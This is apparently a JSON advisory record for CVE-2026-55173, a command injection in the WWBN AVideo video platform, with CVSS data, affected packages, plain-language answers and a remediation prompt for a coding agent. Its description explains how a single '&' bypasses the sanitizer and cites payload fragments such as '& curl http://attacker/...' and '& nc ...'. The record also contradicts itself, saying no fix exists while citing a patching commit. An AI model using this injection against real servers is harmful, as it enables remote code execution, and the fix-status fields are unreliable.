{"answers":{"affected":"2 open source packages ship an affected version, including wwbn/avideo.","exploited":"It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-55173 exists.","fix":"No fix has been published for CVE-2026-55173 yet. Limit exposure of the affected software until one is available.","what":"CVE-2026-55173 is a high-severity command injection vulnerability in WWBN AVideo, published on 16 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2026-55173 and fix it if it is affected.\n\nWhat it is: CVE-2026-55173 is a high-severity command injection vulnerability in WWBN AVideo, published on 16 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-55173 exists.\n\nAffected packages and fixed versions:\n- wwbn/avideo (Packagist): affected all versions up to 29.0; no fix listed\n- wwbn/avideo (Packagist): affected all versions up to 29.0; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2026-55173/ (Markdown: https://insights.sbomify.com/CVE-2026-55173/index.md)","id":"CVE-2026-55173","markdown":"https://insights.sbomify.com/CVE-2026-55173/index.md","name":"CVE-2026-55173","record":{"aliases":["GHSA-wc3f-xc32-435f"],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"AVideo video platform","requires_auth":"none","summary":"Incomplete sanitization allows OS command injection via single ampersand in AVideo, enabling remote code execution on the encoder server.","user_interaction":"not_required","vuln_class":"command_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"GitHub_M","cpe":[],"cvss":{"score":8.1,"severity":"high","source":"cna","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-78","name":"Improper Neutralization of Special Elements used in an OS Command"}],"description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('\u0026\u0026', '', ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","ecosystems":["Packagist"],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"weaponised"},"has_fix":false,"headline":"AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '\u0026' (background operator), giving OS command execution at the same execAsync sh -c sink","id":"CVE-2026-55173","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":"Packagist","product":null,"products":[],"type":"command_injection","year":"2026"},"n_packages":2,"n_references":2,"next":{"headline":"UltrafastSecp256k1: ECDSA adaptor verification accepts non-adaptable pre-signatures due to missing DLEQ binding","id":"CVE-2026-55174"},"packages":[{"ecosystem":"Packagist","fixed":[],"introduced":["0"],"last_affected":["29.0"],"package":"wwbn/avideo","purl":null,"source":"GHSA-wc3f-xc32-435f"},{"ecosystem":"Packagist","fixed":[],"introduced":["0"],"last_affected":["29.0"],"package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"GHSA-wc3f-xc32-435f"}],"prev":{"headline":"OpenFGA MySQL backend: case-insensitive collation on identifier columns causes incorrect authorization decisions","id":"CVE-2026-55170"},"products":["AVideo"],"published":"2026-07-16","related":[],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"no","exploitation":"poc","technical_impact":"total"},"state":"PUBLISHED","updated":"2026-07-17","vendors":["WWBN"]},"summary":"Incomplete sanitization allows OS command injection via single ampersand in AVideo, enabling remote code execution on the encoder server.","url":"https://insights.sbomify.com/CVE-2026-55173/"}